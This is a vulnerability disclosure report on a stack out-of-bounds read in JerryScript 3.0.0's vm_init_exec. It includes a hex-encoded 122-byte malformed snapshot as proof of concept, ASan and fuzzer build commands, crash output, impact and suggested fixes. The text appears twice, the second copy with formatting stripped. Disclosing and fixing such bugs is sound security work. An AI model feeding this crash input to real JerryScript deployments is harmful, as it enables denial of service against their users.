Summary
A malformed snapshot, after deserialization, produces bytecode with anomalous register_end / literal_end fields. When the VM executes it, vm_init_exec computes literal_start_p and the register area from these untrusted fields (vm.c:5190 reads data in the literal_end range), pointing outside the 24-byte shared struct (frame [32,56)) on the vm_run_global stack. ASan reports a stack-buffer-overflow: READ of size 8 at offset 56 — an out-of-bounds read of the stack variable shared.
- Affected: JerryScript 3.0.0 (
jerry-core/vm/vm.c:5190 in vm_init_exec, reached from vm_run_global at jerry-snapshot.c:1024)
- Severity: High
- CWE: CWE-125 (Out-of-bounds Read)
Detail
The root cause is again in the snapshot deserialization stage: the bytecode header fields register_end / literal_end / argument_end are not validated for consistency, so an illegal layout propagates into VM initialization. A 122-byte malformed snapshot is sufficient to trigger the stack OOB read and abort the process.
POC
# 0) rebuild POC
printf '534e41504a5252594600000000000000680000000100000018000000060001000010030133000000010303040700000087000000300000005000015303012c02380100d1d05600008701000004000100101001013300000001010202a00000009a00015500000000070000000100680005007072696e74000000' | xxd -r -p > poc.bin
# 1) build (ASan+UBSan, snapshot exec enabled)
cmake -S . -B build -DENABLE_LTO=OFF -DJERRY_SNAPSHOT_EXEC=ON -DJERRY_SNAPSHOT_SAVE=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -O1 -g"
cmake --build build --target jerry-core jerry-port -j$(nproc)
clang -fsanitize=fuzzer,address,undefined -fno-sanitize-recover=all -O1 -g -DJERRY_SNAPSHOT_EXEC=1 \
-I jerry-core/include harness.c build/lib/libjerry-core.a build/lib/libjerry-port.a -lm -o jerry_fuzzer
# 2) reproduce
./jerry_fuzzer poc.bin
Trigger result (ASan)
ERROR: AddressSanitizer: stack-buffer-overflow on address ... READ of size 8 at offset 56
#0 ... vm_init_exec vm.c:5190
#1 ... vm_run_global jerry-snapshot.c:1024
#2 ... fuzz_snapshot harness.c
The read goes 8 bytes past the 24-byte shared struct on the stack frame.
- Replay exit code:
134 (ASan abort)
- Deterministic: yes.
Impact
A 122-byte malformed snapshot deterministically triggers an ASan stack OOB read and aborts the process (DoS). The defect is a stack OOB read; primary impact is process crash. If a future path reuses the OOB-read address for a write (e.g., the VM writing back to the register area), stack corruption becomes possible, raising severity. On the current evidence, impact is DoS.
Suggested fix
- Validate
register_end / literal_end / argument_end consistency during snapshot deserialization; reject bytecode where the register/literal regions exceed the snapshot bounds.
- In
vm_init_exec, bound-check the computed literal_start_p / register area against the actual ecma_compiled_code_t extent before dereferencing.
Summary
A malformed snapshot, after deserialization, produces bytecode with anomalous
register_end/literal_endfields. When the VM executes it,vm_init_execcomputesliteral_start_pand the register area from these untrusted fields (vm.c:5190reads data in theliteral_endrange), pointing outside the 24-bytesharedstruct (frame[32,56)) on thevm_run_globalstack. ASan reports astack-buffer-overflow: READ of size 8 at offset 56— an out-of-bounds read of the stack variableshared.jerry-core/vm/vm.c:5190invm_init_exec, reached fromvm_run_globalatjerry-snapshot.c:1024)Detail
The root cause is again in the snapshot deserialization stage: the bytecode header fields
register_end/literal_end/argument_endare not validated for consistency, so an illegal layout propagates into VM initialization. A 122-byte malformed snapshot is sufficient to trigger the stack OOB read and abort the process.POC
Trigger result (ASan)
The read goes 8 bytes past the 24-byte
sharedstruct on the stack frame.134(ASan abort)Impact
A 122-byte malformed snapshot deterministically triggers an ASan stack OOB read and aborts the process (DoS). The defect is a stack OOB read; primary impact is process crash. If a future path reuses the OOB-read address for a write (e.g., the VM writing back to the register area), stack corruption becomes possible, raising severity. On the current evidence, impact is DoS.
Suggested fix
register_end/literal_end/argument_endconsistency during snapshot deserialization; reject bytecode where the register/literal regions exceed the snapshot bounds.vm_init_exec, bound-check the computedliteral_start_p/ register area against the actualecma_compiled_code_textent before dereferencing.